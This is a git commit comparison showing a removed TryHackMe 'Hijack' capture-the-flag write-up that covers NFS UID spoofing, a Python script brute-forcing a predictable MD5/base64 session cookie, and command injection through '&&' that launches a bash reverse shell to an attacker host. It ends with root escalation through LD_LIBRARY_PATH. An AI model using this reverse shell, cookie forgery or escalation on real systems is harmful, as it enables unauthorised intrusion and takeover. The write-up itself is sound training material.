Compare commits
No commits in common. "046ab229445db660c692d8995af6de53b940be74" and "bd0bbe392688c17bcd2bed2de34fc5b7ff8634e3" have entirely different histories.
046ab22944
...
bd0bbe3926
|
@ -1,2 +0,0 @@
|
|||
./tryhackme/Expose.md
|
||||
|
|
@ -1,264 +0,0 @@
|
|||
# Hijack Writeup
|
||||
|
||||
THis is a writeup for the Tryhackme challenge [Hijack](https://tryhackme.com/room/hijack)
|
||||
|
||||
## Enumeration
|
||||
|
||||
First, nmap as follows:
|
||||
|
||||
```sh
|
||||
nmap --min-rate 4000 -p- 10.10.16.106
|
||||
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-21 11:56 CEST
|
||||
Nmap scan report for 10.10.16.106
|
||||
Host is up (0.063s latency).
|
||||
Not shown: 65526 closed tcp ports (conn-refused)
|
||||
PORT STATE SERVICE
|
||||
21/tcp open ftp
|
||||
22/tcp open ssh
|
||||
80/tcp open http
|
||||
111/tcp open rpcbind
|
||||
2049/tcp open nfs
|
||||
38490/tcp open unknown
|
||||
44511/tcp open unknown
|
||||
49338/tcp open unknown
|
||||
57526/tcp open unknown
|
||||
|
||||
Nmap done: 1 IP address (1 host up) scanned in 18.56 seconds
|
||||
```
|
||||
|
||||
Since there is an NFS I want to take a look at it.
|
||||
|
||||
```sh
|
||||
showmount -e 10.10.16.106
|
||||
Export list for 10.10.16.106:
|
||||
/mnt/share *
|
||||
```
|
||||
|
||||
So, there is a share I can mount in the following way
|
||||
|
||||
```sh
|
||||
mkdir /tmp/nfsfiles
|
||||
sudo mount -t nfs 10.10.16.106: /tmp/nfsfiles
|
||||
```
|
||||
|
||||
A look at the file permissions tells me, that a user with uid 1003 created the
|
||||
share. Therefore, a user with the same uid on the local attack machine, where
|
||||
the share has been mounted, is needed to get permissions to open the directory.
|
||||
|
||||
```sh
|
||||
ls -l nfsfiles/mnt/
|
||||
|
||||
drwx------ 2 1003 1003 4096 Aug 8 21:28 share
|
||||
```
|
||||
|
||||
```sh
|
||||
sudo useradd hijack -u 1003 -m -s /bin/bash
|
||||
```
|
||||
|
||||
Now switch to the user and take a look at the inside of the share.
|
||||
|
||||
```sh
|
||||
sudo su hijack
|
||||
|
||||
ls -la nfsfiles/mnt/share/
|
||||
total 12
|
||||
drwx------ 2 hijack hijack 4096 Aug 8 21:28 .
|
||||
drwxr-xr-x 3 root root 4096 Aug 8 21:28 ..
|
||||
-rwx------ 1 hijack hijack 46 Aug 8 21:28 for_employees.txt
|
||||
```
|
||||
|
||||
Taking a look at the file provides the following
|
||||
|
||||
```sh
|
||||
cat nfsfiles/mnt/share/for_employees.txt
|
||||
|
||||
ftp creds :
|
||||
|
||||
ftpuser:XXXXXXXXXXXXXXXXXXXXXXXX
|
||||
```
|
||||
|
||||
Next up, using the credentials on the ftp server
|
||||
|
||||
```sh
|
||||
ftp ftpuser@10.10.16.106
|
||||
Connected to 10.10.16.106.
|
||||
220 (vsFTPd 3.0.3)
|
||||
331 Please specify the password.
|
||||
Password:
|
||||
230 Login successful.
|
||||
Remote system type is UNIX.
|
||||
Using binary mode to transfer files.
|
||||
ftp> ls -la
|
||||
229 Entering Extended Passive Mode (|||38678|)
|
||||
150 Here comes the directory listing.
|
||||
drwxr-xr-x 2 1002 1002 4096 Aug 08 19:28 .
|
||||
drwxr-xr-x 2 1002 1002 4096 Aug 08 19:28 ..
|
||||
-rwxr-xr-x 1 1002 1002 220 Aug 08 19:28 .bash_logout
|
||||
-rwxr-xr-x 1 1002 1002 3771 Aug 08 19:28 .bashrc
|
||||
-rw-r--r-- 1 1002 1002 368 Aug 08 19:28 .from_admin.txt
|
||||
-rw-r--r-- 1 1002 1002 3150 Aug 08 19:28 .passwords_list.txt
|
||||
-rwxr-xr-x 1 1002 1002 655 Aug 08 19:28 .profile
|
||||
226 Directory send OK.
|
||||
```
|
||||
|
||||
Two files are `.from_admin.txt` and
|
||||
`.password_list.txt` are of special interest . The former file contains the following
|
||||
|
||||
```
|
||||
To all employees, this is "admin" speaking,
|
||||
i came up with a safe list of passwords that you all can use on the site, these passwords don't appear on any wordlist i tested so far, so i encourage you to use them, even me i'm using one of those.
|
||||
|
||||
NOTE To rick : good job on limiting login attempts, it works like a charm, this will prevent any future brute forcing.
|
||||
```
|
||||
|
||||
The latter is a list of random passwords the admin seems to have created earlier.
|
||||
|
||||
## Exploitation
|
||||
|
||||
At first I tried to circumvent the rate limiting, which took a lot of time and
|
||||
led nowhere in the end. The key is the `PHPSESSID` cookie, it looked a bit
|
||||
suspicious so I tried to decode it for the user I created on the page.
|
||||
|
||||
```base64
|
||||
d2h4OmE4ZjVmMTY3ZjQ0ZjQ5NjRlNmM5OThkZWU4MjcxMTBj
|
||||
```
|
||||
|
||||
decoded to
|
||||
|
||||
```
|
||||
whx:a8f5f167f44f4964e6c998dee827110c
|
||||
```
|
||||
|
||||
That hash looked a lot like an md5 hash, so I compared it to the password I used
|
||||
|
||||
```sh
|
||||
echo -n "asdasd" | md5sum
|
||||
a8f5f167f44f4964e6c998dee827110c -
|
||||
```
|
||||
|
||||
After that I created a Python script to hash & encode the cookie before iterating
|
||||
the list and in this way I got the correct password.
|
||||
|
||||
```python
|
||||
import hashlib
|
||||
import base64
|
||||
import requests
|
||||
|
||||
URL = "http://10.10.16.106/administration.php"
|
||||
|
||||
with open ("./ftp/passwords_list.txt", 'r') as _f:
|
||||
data = [x.strip() for x in _f.readlines()]
|
||||
|
||||
r = requests.get(URL)
|
||||
page_content = r.text
|
||||
print(r)
|
||||
|
||||
for line in data:
|
||||
_hash = hashlib.md5(line.encode('utf-8')).hexdigest().encode('utf-8')
|
||||
concat_str = b'admin:' + _hash
|
||||
_b64hash = base64.b64encode(concat_str).decode()
|
||||
print(_b64hash)
|
||||
headers = { "Cookie": f"PHPSESSID={_b64hash}"}
|
||||
r = requests.get(URL, headers=headers)
|
||||
if len(r.text) > len(page_content):
|
||||
print("password: " + line)
|
||||
print("cookie: " + _b64hash)
|
||||
break
|
||||
```
|
||||
|
||||
After login there is a `Service Status Checker` on the administration page. You
|
||||
can see the status of services/daemons installed on the box of the challenge through
|
||||
`systemctl status <command>`. My first impression was to just chain commands
|
||||
through `;` like `ssh
|
||||
; id`, but that ended in
|
||||
|
||||
> Command injection detected, please provide a service.
|
||||
|
||||
Most of the commonly used shells have boolean operators like `&&` and `||` as a
|
||||
condition for the previous exit status code. For example in bash you can check
|
||||
the status code of the last command that was executed via `echo $?`. That means `&&` is true if the previous command
|
||||
would return a `0` otherwise `||` is true and the command afterwards will be
|
||||
executed.
|
||||
These operators are not blocked by the page, it is possible to chain commands
|
||||
like this
|
||||
|
||||
```sh
|
||||
sshd && bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"
|
||||
```
|
||||
|
||||
Catch the shell via `nc -lvnp 4444` and [upgrade
|
||||
it](https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/).
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
On the target `config.php` contains credentials for the user rick.
|
||||
|
||||
```php
|
||||
cat config.php
|
||||
<?php
|
||||
$servername = "localhost";
|
||||
$username = "rick";
|
||||
$password = "XXXXXXXXXXXXXXXXXXX";
|
||||
$dbname = "hijack";
|
||||
|
||||
// Create connection
|
||||
$mysqli = new mysqli($servername, $username, $password, $dbname);
|
||||
|
||||
// Check connection
|
||||
if ($mysqli->connect_error) {
|
||||
die("Connection failed: " . $mysqli->connect_error);
|
||||
}
|
||||
?>
|
||||
```
|
||||
|
||||
So, I switched to the user using `su rick` and got the first flag inside
|
||||
`/home/rick/user.txt`. One of the first things to check on gained privileges is the current user's
|
||||
permissions on the availability of substituting other users, usually using
|
||||
sudo.
|
||||
|
||||
```sh
|
||||
su rick
|
||||
Password:
|
||||
|
||||
rick@Hijack:/var/www/html$ sudo -l
|
||||
[sudo] password for rick:
|
||||
Matching Defaults entries for rick on Hijack:
|
||||
env_reset, mail_badpass,
|
||||
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
|
||||
env_keep+=LD_LIBRARY_PATH
|
||||
|
||||
User rick may run the following commands on Hijack:
|
||||
(root) /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2
|
||||
```
|
||||
|
||||
Checking permissions did provide the inability to write on any of the files that are contained in the command that can be run through sudo for user rick. That means,
|
||||
the next best thing to concentrate on is `env_keep+=LD_LIBRARY_PATH`.
|
||||
[Hacktricks' page on linux privilege
|
||||
escalation](https://book.hacktricks.xyz/linux-hardening/privilege-escalation)
|
||||
contains [a section for
|
||||
LD_LIBRARY_PATH](https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld_preload-and-ld_library_path).
|
||||
I Compiled the library and preloaded it on the same line as the available sudo
|
||||
command. Through this method I was able to spawn a root shell.
|
||||
|
||||
```sh
|
||||
rick@Hijack:/tmp$ sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2
|
||||
|
||||
root@Hijack:/tmp#
|
||||
```
|
||||
|
||||
The flag can be found inside the root directory
|
||||
|
||||
```sh
|
||||
root@Hijack:/tmp# cat /root/root.txt
|
||||
|
||||
██╗░░██╗██╗░░░░░██╗░█████╗░░█████╗░██╗░░██╗
|
||||
██║░░██║██║░░░░░██║██╔══██╗██╔══██╗██║░██╔╝
|
||||
███████║██║░░░░░██║███████║██║░░╚═╝█████═╝░
|
||||
██╔══██║██║██╗░░██║██╔══██║██║░░██╗██╔═██╗░
|
||||
██║░░██║██║╚█████╔╝██║░░██║╚█████╔╝██║░╚██╗
|
||||
╚═╝░░╚═╝╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░╚═╝░░╚═╝
|
||||
|
||||
THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}
|
||||
```
|
||||
|
||||
Happy Hacking!
|
Loading…
Reference in New Issue